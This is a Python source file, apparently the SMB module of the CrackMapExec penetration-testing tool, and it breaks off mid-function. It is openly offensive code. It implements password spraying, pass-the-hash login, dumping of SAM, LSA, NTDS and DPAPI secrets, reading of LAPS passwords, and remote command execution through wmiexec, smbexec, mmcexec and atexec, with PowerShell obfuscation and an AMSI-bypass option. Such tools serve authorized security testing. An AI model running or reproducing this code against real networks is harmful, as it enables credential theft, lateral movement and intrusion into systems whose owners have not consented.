#!/usr/bin/env python3 # -*- coding: utf-8 -*- import ntpath import hashlib import binascii from io import StringIO from Cryptodome.Hash import MD4 from impacket.examples.ntlmrelayx.attacks.ldapattack import MSDS_MANAGEDPASSWORD_BLOB from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes from impacket.nmb import NetBIOSError, NetBIOSTimeout from impacket.dcerpc.v5 import transport, lsat, lsad, scmr from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP from impacket.dcerpc.v5.dcom.wmi import WBEM_FLAG_FORWARD_ONLY from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.krb5.kerberosv5 import SessionKeyDecryptionError from impacket.krb5.types import KerberosException from cme.config import process_secret from cme.connection import * from cme.logger import CMEAdapter from cme.protocols.smb.firefox import FirefoxTriage from cme.servers.smb import CMESMBServer from cme.protocols.smb.wmiexec import WMIEXEC from cme.protocols.smb.atexec import TSCH_EXEC from cme.protocols.smb.smbexec import SMBEXEC from cme.protocols.smb.mmcexec import MMCEXEC from cme.protocols.smb.smbspider import SMBSpider from cme.protocols.smb.passpol import PassPolDump from cme.protocols.smb.samruser import UserSamrDump from cme.protocols.smb.samrfunc import SamrFunc from cme.protocols.ldap.smbldap import LDAPConnect from cme.helpers.logger import highlight from cme.helpers.misc import * from cme.helpers.bloodhound import add_user_bh from cme.helpers.powershell import create_ps_command from dploot.triage.vaults import VaultsTriage from dploot.triage.browser import BrowserTriage from dploot.triage.credentials import CredentialsTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.backupkey import BackupkeyTriage from dploot.lib.target import Target from dploot.lib.smb import DPLootSMBConnection from pywerview.cli.helpers import * from pywerview.requester import RPCRequester from time import time from datetime import datetime from functools import wraps from traceback import format_exc import logging smb_share_name = gen_random_string(5).upper() smb_server = None smb_error_status = [ "STATUS_ACCOUNT_DISABLED", "STATUS_ACCOUNT_EXPIRED", "STATUS_ACCOUNT_RESTRICTION", "STATUS_INVALID_LOGON_HOURS", "STATUS_INVALID_WORKSTATION", "STATUS_LOGON_TYPE_NOT_GRANTED", "STATUS_PASSWORD_EXPIRED", "STATUS_PASSWORD_MUST_CHANGE", "STATUS_ACCESS_DENIED", "STATUS_NO_SUCH_FILE", "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED" ] def get_error_string(exception): if hasattr(exception, "getErrorString"): try: es = exception.getErrorString() except KeyError: return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}" if type(es) is tuple: return es[0] else: return es else: return str(exception) def requires_smb_server(func): def _decorator(self, *args, **kwargs): global smb_server global smb_share_name get_output = False payload = None methods = [] try: payload = args[0] except IndexError: pass try: get_output = args[1] except IndexError: pass try: methods = args[2] except IndexError: pass if "payload" in kwargs: payload = kwargs["payload"] if "get_output" in kwargs: get_output = kwargs['get_output'] if "methods" in kwargs: methods = kwargs["methods"] if not payload and self.args.execute: if not self.args.no_output: get_output = True if get_output or (methods and ("smbexec" in methods)): if not smb_server: self.logger.debug("Starting SMB server") smb_server = CMESMBServer( self.cme_logger, smb_share_name, listen_port=self.args.smb_server_port, verbose=self.args.verbose ) smb_server.start() output = func(self, *args, **kwargs) if smb_server is not None: smb_server.shutdown() smb_server = None return output return wraps(func)(_decorator) class smb(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.smb_share_name = smb_share_name self.pvkbytes = None self.no_da = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") smb_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2") dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cegroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") cegroup.add_argument("--dpapi", choices={"password", "cookies"}, nargs="?", const="password", help="dump DPAPI secrets from target systems, can dump cookies if you add \"cookies\"\n(default: password)") # cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') # cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") ngroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC") ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC") egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="enumerate shares and access") egroup.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions") egroup.add_argument("--disks", action="store_true", help="enumerate disks") egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") egroup.add_argument("--users", nargs="?", const="", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.") egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated") egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users") egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") egroup.add_argument("--pass-pol", action="store_true", help="dump password policy") egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RID's (default: 4000)") egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace (default: root\\cimv2)") sgroup = smb_parser.add_argument_group("Spidering", 'Options for spidering shares') sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider") sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider (default: root share directory)") sgroup.add_argument("--content", action="store_true", help="enable file content searching") sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering") segroup = sgroup.add_mutually_exclusive_group() segroup.add_argument("--pattern", nargs="+", help="pattern(s) to search for in folders, filenames and file content") segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content") sgroup.add_argument("--depth", type=int, default=None, help="max spider recursion depth (default: infinity & beyond)") sgroup.add_argument("--only-files", action="store_true", help="only spider files") tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files") tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default " "\"utf-8\"). If errors are detected, run chcp.com at the target, " "map the result with " "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " "again with --codec and the corresponding codec") cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") psgroup.add_argument('--amsi-bypass', nargs=1, metavar="FILE", help='File with a custom AMSI bypass') psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts") return parser def proto_logger(self): self.logger = CMEAdapter( extra={ "protocol": "SMB", "host": self.host, "port": self.args.port, "hostname": self.hostname } ) def get_os_arch(self): try: string_binding = fr"ncacn_ip_tcp:{self.host}[135]" transport = DCERPCTransportFactory(string_binding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: self.logger.debug(f"Error retrieving os arch of {self.host}: {str(e)}") return 0 def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] no_ntlm = False try: self.conn.login('', '') except BrokenPipeError: self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: if "STATUS_NOT_SUPPORTED" in str(e): # no ntlm supported no_ntlm = True pass self.domain = self.conn.getServerDNSDomainName() if not no_ntlm else self.args.domain self.hostname = self.conn.getServerName() if not no_ntlm else self.host self.server_os = self.conn.getServerOS() try: self.signing = self.conn.isSigningRequired() \ if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: self.logger.debug(e) pass self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser( f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" ) self.output_filename = self.output_filename.replace(":", "-") if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.smbv1, self.signing) try: # DCs seem to want us to logoff first, windows workstations sometimes reset the connection self.conn.logoff() except Exception as e: self.logger.debug(f"Error logging off system: {e}") pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def laps_search(self, username, password, ntlm_hash, domain): self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" ldapco = LDAPConnect(self.domain, "389", self.domain) if self.kerberos: if self.kdcHost is None: self.logger.fail("Add --kdcHost parameter to use laps with kerberos") return False connection = ldapco.kerberos_login( domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '', kdcHost=self.kdcHost, aesKey=self.aesKey ) else: connection = ldapco.auth_login( domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '' ) if not connection: self.logger.fail(f"LDAP connection failed with account {username[0]}") return False search_filter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.hostname + '))' attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName'] results = connection.search( searchFilter=search_filter, attributes=attributes, sizeLimit=0 ) msMCSAdmPwd = '' sAMAccountName = '' username = '' from impacket.ldap import ldapasn1 as ldapasn1_impacket results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in host['attributes']} if "mslaps-encryptedpassword" in values: self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") return False elif "mslaps-password" in values: from json import loads r = loads(values['mslaps-password']) msMCSAdmPwd = r['p'] username = r['n'] elif "ms-mcs-admpwd" in values: msMCSAdmPwd = values['ms-mcs-admpwd'] else: self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}") else: self.logger.fail( f'msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}' ) return False self.username = self.args.laps if not username else username self.password = msMCSAdmPwd if msMCSAdmPwd == '': self.logger.fail( f'msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}' ) return False if ntlm_hash: hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest() self.hash = binascii.hexlify(hash_ntlm).decode() self.domain = self.hostname self.logger.extra["protocol"] = "SMB" self.logger.extra["port"] = "445" return True def print_host_info(self): self.logger.display( f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})" ) if self.args.laps: return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): logging.getLogger("impacket").disabled = True # Re-connect since we logged off fqdn_host = f"{self.hostname}.{self.domain}" self.create_conn_obj(fqdn_host) lmhash = "" nthash = "" try: if not self.args.laps: self.password = password self.username = username # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash if not all("" == s for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = "" self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) self.check_if_admin() if username == '': self.username = self.conn.getCredentials()[0] else: self.username = username used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" else: self.plaintext_login(username, password, self.host) return out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, domain, self.logger, self.config) if not self.args.continue_on_success: return True # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 elif self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() except SessionKeyDecryptionError: # success for now, since it's a vulnerability - previously was an error self.logger.success( f"{domain}\\{self.username} account vulnerable to asreproast attack", color='yellow' ) return False except (FileNotFoundError, KerberosException) as e: self.logger.fail(f"CCache Error: {e}") return False except OSError as e: used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{domain}\\{self.username}{used_ccache} {e}" ) except (SessionError, Exception) as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", color="magenta" if error in smb_error_status else "red" ) if error not in smb_error_status: self.inc_failed_login(username) return False return False def plaintext_login(self, domain, username, password): # Re-connect since we logged off self.create_conn_obj() try: if not self.args.laps: self.password = password self.username = username self.domain = domain try: self.conn.login(self.username, self.password, domain) except BrokenPipeError: self.logger.fail(f"Broken Pipe Error while attempting to login") self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) user_id = self.db.get_credential("plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 elif self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f'{domain}\\{self.username}:{process_secret(self.password )} {error} {f"({desc})" if self.args.verbose else ""}', color="magenta" if error in smb_error_status else "red" ) if error not in smb_error_status: self.inc_failed_login(username) return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") return False def hash_login(self, domain, username, ntlm_hash): # Re-connect since we logged off self.create_conn_obj() lmhash = "" nthash = "" try: if not self.args.laps: self.username = username # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash else: nthash = self.hash self.domain = domain try: self.conn.login(self.username, "", domain, lmhash, nthash) except BrokenPipeError: self.logger.fail(f"Broken Pipe Error while attempting to login") self.check_if_admin() user_id = self.db.add_credential("hash", domain, self.username, nthash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f"{domain}\\{self.username}:{process_secret(self.hash)} {error} {f'({desc})' if self.args.verbose else ''}", color="magenta" if error in smb_error_status else "red" ) if error not in smb_error_status: self.inc_failed_login(self.username) return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") return False def create_smbv1_conn(self, kdc=""): try: self.conn = SMBConnection( self.host if not kdc else kdc, self.host if not kdc else kdc, None, self.args.port, preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout ) self.smbv1 = True except socket.error as e: if str(e).find("Connection reset by peer") != -1: self.logger.info(f"SMBv1 might be disabled on {self.host if not kdc else kdc}") return False except (Exception, NetBIOSTimeout) as e: self.logger.info(f"Error creating SMBv1 connection to {self.host if not kdc else kdc}: {e}") return False return True def create_smbv3_conn(self, kdc=''): try: self.conn = SMBConnection( self.host if not kdc else kdc, self.host if not kdc else kdc, None, self.args.port, timeout=self.args.smb_timeout ) self.smbv1 = False except socket.error as e: if str(e).find("Too many open files") != -1: self.logger.fail(f"SMBv3 connection error on {self.host if not kdc else kdc}: {e}") return False except (Exception, NetBIOSTimeout) as e: self.logger.info(f"Error creating SMBv3 connection to {self.host if not kdc else kdc}: {e}") return False return True def create_conn_obj(self, kdc=""): if self.create_smbv1_conn(kdc): return True elif self.create_smbv3_conn(kdc): return True return False def check_if_admin(self): rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) self.admin_privs = True except scmr.DCERPCException: self.admin_privs = False pass return def gen_relay_list(self): if self.server_os.lower().find("windows") != -1 and self.signing is False: with sem: with open(self.args.gen_relay_list, "a+") as relay_list: if self.host not in relay_list.read(): relay_list.write(self.host + '\n') @requires_admin # @requires_smb_server def execute(self, payload=None, get_output=False, methods=None): if self.args.exec_method: methods = [self.args.exec_method] if not methods: methods = ["wmiexec", "smbexec", "mmcexec", "atexec"] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True for method in methods: if method == "wmiexec": try: exec_method = WMIEXEC( self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share ) self.logger.info("Executed command via wmiexec") break except: self.logger.debug("Error executing command via wmiexec, traceback:") self.logger.debug(format_exc()) continue elif method == "mmcexec": try: exec_method = MMCEXEC( self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash ) self.logger.info("Executed command via mmcexec") break except: self.logger.debug("Error executing command via mmcexec, traceback:") self.logger.debug(format_exc()) continue elif method == "atexec": try: exec_method = TSCH_EXEC( self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash ) # self.args.share) self.logger.info("Executed command via atexec") break except: self.logger.debug("Error executing command via atexec, traceback:") self.logger.debug(format_exc()) continue elif method == "smbexec": try: exec_method = SMBEXEC( self.host if not self.kerberos else self.hostname + '.' + self.domain, self.smb_share_name, self.conn, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share ) self.logger.info("Executed command via smbexec") break except: self.logger.debug("Error executing command via smbexec, traceback:") self.logger.debug(format_exc()) continue if hasattr(self, "server"): self.server.track_host(self.host) output = exec_method.execute(payload, get_output) try: if not isinstance(output, str): output = output.decode(self.args.codec) except UnicodeDecodeError: self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") output = output.decode('cp437') output = output.strip() self.logger.debug(f"Output: {output}") if self.args.execute or self.args.ps_execute: self.logger.success(f"Executed command {self.args.exec_method if self.args.exec_method else ''}") buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None if os.path.isfile(payload): with open(payload) as commands: for c in commands: self.execute( create_ps_command( c, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass ), get_output, methods ) else: self.execute( create_ps_command( payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass ), get_output, methods ) return '' def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) permissions = [] try: self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user( self.domain.split(".")[0].upper(), self.username )[0][0] except Exception as e: error = get_error_string(e) self.logger.fail(f"Error getting user: {error}") pass try: shares = self.conn.listShares() self.logger.info(f"Shares returned: {shares}") except SessionError as e: error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", color="magenta" if error in smb_error_status else "red" ) return permissions except Exception as e: error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", color="magenta" if error in smb_error_status else "red" ) return permissions for share in shares: share_name = share["shi1_netname"][:-1] share_remark = share["shi1_remark"][:-1] share_info = { "name": share_name, "remark": share_remark, "access": [] } read = False write = False try: self.conn.listPath(share_name, "*") read = True share_info["access"].append("READ") except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking READ access on share: {error}") pass try: self.conn.createDirectory(share_name, temp_dir) self.conn.deleteDirectory(share_name, temp_dir) write = True share_info["access"].append("WRITE") except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking WRITE access on share: {error}") pass permissions.append(share_info) if share_name != "IPC$": try: # TODO: check if this already exists in DB before adding self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write) except Exception as e: error = get_error_string(e) self.logger.debug(f"Error adding share: {error}") pass self.logger.display("Enumerated shares") self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}") self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}") for share in permissions: name = share["name"] remark = share["remark"] perms = share["access"] if self.args.filter_shares and self.args.filter_shares != perms: continue self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions def get_dc_ips(self): dc_ips = [] for dc in self.db.get_domain_controllers(domain=self.domain): dc_ips.append(dc[1]) if not dc_ips: dc_ips.append(self.host) return dc_ips def sessions(self): try: sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.display("Enumerated sessions") for session in sessions: if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") return sessions except: pass def disks(self): disks = [] try: disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.display("Enumerated disks") for disk in disks: self.logger.highlight(disk.disk) except Exception as e: error, desc = e.getErrorString() self.logger.fail( f"Error enumerating disks: {error}", color="magenta" if error in smb_error_status else "red" ) return disks def local_groups(self): groups = [] # To enumerate local groups the DC IP is optional # if specified it will resolve the SIDs and names of any domain accounts in the local group for dc_ip in self.get_dc_ips(): try: groups = get_netlocalgroup( self.host, dc_ip, "", self.username, self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups, list_groups=True if not self.args.local_groups else False, recurse=False ) if self.args.local_groups: self.logger.success("Enumerated members of local group") else: self.logger.success("Enumerated local groups") for group in groups: if group.name: if not self.args.local_groups: self.logger.highlight(f"{group.name:<40} membercount: {group.membercount}") group_id = self.db.add_group( self.hostname, group.name, member_count_ad=group.membercount )[0] else: domain, name = group.name.split("/") self.logger.highlight(f"domain: {domain}, name: {name}") self.logger.highlight(f"{domain.upper()}\\{name}") try: group_id = self.db.get_groups( group_name=self.args.local_groups, group_domain=domain )[0][0] except IndexError: group_id = self.db.add_group( domain, self.args.local_groups, member_count_ad=group.membercount )[0] # yo dawg, I hear you like groups. # So I put a domain group as a member of a local group which is also a member of another local group. # (╯°□°）╯︵ ┻━┻ if not group.isgroup: self.db.add_credential("plaintext", domain, name, "", group_id, "") elif group.isgroup: self.db.add_group(domain, name, member_count_ad=group.membercount) break except Exception as e: self.logger.fail(f"Error enumerating local groups of {self.host}: {e}") self.logger.display("Trying with SAMRPC protocol") groups = SamrFunc(self).get_local_groups() if groups: self.logger.success("Enumerated local groups") self.logger.display(f"Local groups: {groups}") for group_name, group_rid in groups.items(): self.logger.highlight(f"rid => {group_rid} => {group_name}") group_id = self.db.add_group( self.hostname, group_name, rid=group_rid )[0] self.logger.debug(f"Added group, returned id: {group_id}") return groups def domainfromdsn(self, dsn): dsnparts = dsn.split(",") domain = "" for part in dsnparts: k, v = part.split("=") if k == "DC": if domain == "": domain = v else: domain = domain + "." + v return domain def domainfromdnshostname(self, dns): dnsparts = dns.split(".") domain = ".".join(dnsparts[1:]) return domain, dnsparts[0] + "$" def groups(self): groups = [] for dc_ip in self.get_dc_ips(): if self.args.groups: try: groups = get_netgroupmember( dc_ip, self.domain, self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(), queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False, full_data=False, custom_filter=str() ) self.logger.success("Enumerated members of domain group") for group in groups: member_count = len(group.member) if hasattr(group, "member") else 0 self.logger.highlight( f"{group.memberdomain}\\{group.membername}" ) try: group_id = self.db.get_groups( group_name=self.args.groups, group_domain=group.groupdomain )[0][0] except IndexError: group_id = self.db.add_group( group.groupdomain, self.args.groups, member_count_ad=member_count )[0] if not group.isgroup: self.db.add_credential("plaintext", group.memberdomain, group.membername, "", group_id, "") elif group.isgroup: group_id = self.db.add_group( group.groupdomain, group.groupname, member_count_ad=member_count )[0] break except Exception as e: self.logger.fail(f"Error enumerating domain group members using dc ip {dc_ip}: {e}") else: try: groups = get_netgroup( dc_ip, self.domain, self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(), queried_username=str(), queried_domain=str(), ads_path=str(), admin_count=False, full_data=True, custom_filter=str() ) self.logger.success("Enumerated domain group(s)") for group in groups: member_count = len(group.member) if hasattr(group, "member") else 0 self.logger.highlight(f"{group.samaccountname:<40} membercount: {member_count}") if bool(group.isgroup) is True: # Since there isn't a groupmember attribute on the returned object from get_netgroup # we grab it from the distinguished name domain = self.domainfromdsn(group.distinguishedname) group_id = self.db.add_group( domain, group.samaccountname, member_count_ad=member_count )[0] break except Exception as e: 